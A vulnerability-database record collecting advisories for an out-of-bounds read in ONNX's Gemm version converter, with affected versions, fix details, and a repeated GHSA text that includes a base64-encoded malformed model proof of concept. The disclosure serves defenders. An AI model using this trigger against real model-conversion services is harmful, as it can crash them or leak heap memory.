{"id":"CVE-2026-63632","aliases":["AZL-96728","DEBIAN-CVE-2026-63632","EUVD-2026-60944","GHSA-p893-rvq9-2xf9","PYSEC-2026-3587","UBUNTU-CVE-2026-63632"],"status":"published","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","severity":{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00168,"percentile":0.06096,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125"],"published":"2026-07-24T15:48:04Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"PyPI","package":"onnx","fixed_in":["1.22.0"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"pytorch","fixed_in":["2.2.2-17"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"last_affected":"1.21.0"},{"fixed":"1.22.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"pytorch","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.2-17"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.12.0-2","1.13.1-1","1.13.1-2","1.13.1-3","1.14.1-1","1.14.1-2","1.14.1-2.1","1.14.1-2.1~exp1","1.16.1-1","1.16.2-1","1.17.0-1","1.17.0-2","1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3","1.19.1-1~exp1","1.20.0-1","1.20.0-1~exp1","1.20.0-3","1.20.0-4","1.20.0-5","1.20.0-6","1.21.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.22.0"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.22.0rc1","1.22.0rc2","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.22.0"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.22.0rc1","1.22.0rc2","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.0+dfsg-3build1","1.7.0+dfsg-3build2","1.7.0+dfsg-3ubuntu1","1.7.0+dfsg-3ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.1-3","1.13.1-3build1","1.14.1-2","1.14.1-2.1","1.14.1-2.1build1","1.14.1-2.1build2","1.14.1-2.1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.20.0-1","1.20.0-6"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"onnx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.17.0-3build1","1.20.0-1"]}],"products":[{"vendor":"onnx","product":"onnx"}],"references":[{"url":"https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/onnx/onnx/pull/7880","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/onnx/onnx/releases/tag/v1.22.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-p893-rvq9-2xf9","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63632","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63632.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-63632","tags":["advisory"]},{"url":"https://github.com/onnx/onnx","tags":["package"]},{"url":"https://pypi.org/project/onnx","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-63632","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-63632","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-63632","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T14:55:15.923Z","modified":"2026-08-18T18:51:29.068Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-60944","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T14:55:15Z","modified":"2026-08-18T18:51:29Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T18:01:46.060074Z"}],"ghsa":[{"id":"GHSA-p893-rvq9-2xf9","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto\u0026 A_shape = inputs[0]-\u003esizes();  // May have \u003c 2 elements\nconst auto\u0026 B_shape = inputs[1]-\u003esizes();  // May have \u003c 2 elements\n\nif (node-\u003ehasAttribute(ktransB) \u0026\u0026 node-\u003ei(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has \u003c 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector\u003cDimension\u003e` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","status":"published","published":"2026-07-24T15:48:04Z","modified":"2026-07-24T15:48:05Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:40:52.46233Z"}],"nvd":[{"id":"CVE-2026-63632","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T15:16:56.463Z","modified":"2026-09-18T20:05:53.723Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"secondary"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:12:38.976695Z"}],"osv":[{"id":"CVE-2026-63632","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T14:55:15.923Z","modified":"2026-10-28T11:17:08.233043306Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"DEBIAN-CVE-2026-63632","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T15:16:56.463Z","modified":"2026-10-01T03:03:29.46162227Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-p893-rvq9-2xf9","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto\u0026 A_shape = inputs[0]-\u003esizes();  // May have \u003c 2 elements\nconst auto\u0026 B_shape = inputs[1]-\u003esizes();  // May have \u003c 2 elements\n\nif (node-\u003ehasAttribute(ktransB) \u0026\u0026 node-\u003ei(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has \u003c 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector\u003cDimension\u003e` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","status":"published","published":"2026-07-24T15:48:04Z","modified":"2026-08-04T14:41:07.048011214Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:46:52.891208Z"},{"id":"PYSEC-2026-3587","title":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","description":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto\u0026 A_shape = inputs[0]-\u003esizes();  // May have \u003c 2 elements\nconst auto\u0026 B_shape = inputs[1]-\u003esizes();  // May have \u003c 2 elements\n\nif (node-\u003ehasAttribute(ktransB) \u0026\u0026 node-\u003ei(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has \u003c 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector\u003cDimension\u003e` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","status":"published","published":"2026-08-04T11:34:41.860642Z","modified":"2026-08-04T14:30:27.716013637Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-63632","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T15:16:00Z","modified":"2026-10-17T13:00:31.849453346Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T16:56:43.630667Z"},{"id":"AZL-96728","title":"CVE-2026-63632 affecting package pytorch for versions less than 2.2.2-17","description":"Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.3.0 until 1.22.0, onnx.version_converter.convert_version() can perform an out-of-bounds read in Gemm_7_6::adapt_gemm_7_6() in onnx/version_converter/adapters/gemm_7_6.h when a Gemm node has input tensors with fewer than two dimensions because B_shape[1], A_shape[0], or A_shape[1] is accessed without a rank check, potentially causing a process crash during an opset 7 to 6 downgrade. This issue is fixed in version 1.22.0.","status":"published","published":"2026-08-18T15:16:56Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:26.280152Z"}]}}